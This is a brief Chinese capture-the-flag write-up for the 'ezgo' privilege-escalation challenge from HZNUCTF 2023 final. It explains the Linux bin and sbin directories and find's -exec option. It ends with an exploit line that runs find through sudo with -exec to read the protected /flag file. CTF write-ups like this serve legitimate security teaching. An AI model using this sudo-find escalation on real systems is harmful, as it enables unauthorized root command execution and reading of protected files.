【HZNUCTF 2023 final】ezgo

题目

一道权限提升题目

思路

/bin 存放所有用户皆可用的系统程序，系统启动或者系统修复时可用（在没有挂载 /usr 目录时就可以使用） /sbin 存放超级用户才能使用的系统程序 /usr/bin 存放所有用户都可用的应用程序 /usr/sbin 存放超级用户才能使用的应用程序 /usr/local/bin 存放所有用户都可用的与本地机器无关的程序 /usr/local/sbin 存放超级用户才能使用的与本地机器无关的程序

EXP

find (一个路径或文件，必须存在) -exec 执行命令 \;（\; 是-exec 参数的结尾标志）

shit=/usr/bin/sudo find /flag -exec cat /flag \;